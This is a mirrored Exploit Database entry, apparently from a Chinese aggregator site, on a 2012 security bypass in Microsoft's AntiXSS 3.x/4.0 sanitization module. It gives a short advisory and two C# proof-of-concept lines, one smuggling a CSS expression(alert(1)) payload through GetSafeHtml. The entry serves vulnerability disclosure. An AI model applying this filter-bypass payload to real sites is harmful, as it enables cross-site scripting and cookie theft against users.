Microsoft AntiXSS 3/4.0 Library Sanitization Module – Security Bypass

• Exploit Database
• 117 阅读

• 作者： Adi Cohen
  日期： 2012-01-10
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/36507/
• 1 2 3 4 5 6 7 8 9 10 11 12

  source: https://www.securityfocus.com/bid/51291/info   Microsoft Anti-Cross Site Scripting (AntiXSS) Library is prone to a security-bypass vulnerability that affects the sanitization module.   An attacker can exploit this vulnerability to bypass the filter and conduct cross-site scripting attacks. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials.   Microsoft Anti-Cross Site Scripting Library 3.x and 4.0 are vulnerable.   string data = Microsoft.Security.Application.Sanitizer.GetSafeHtml("a<style><!--div{font-family:Foo,Bar\\,&apos;a\\a&apos;;font-family:&apos;;color:expression(alert(1));y&apos;}--></style><div>b</div>");   string data = Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div style="">aaa</div>")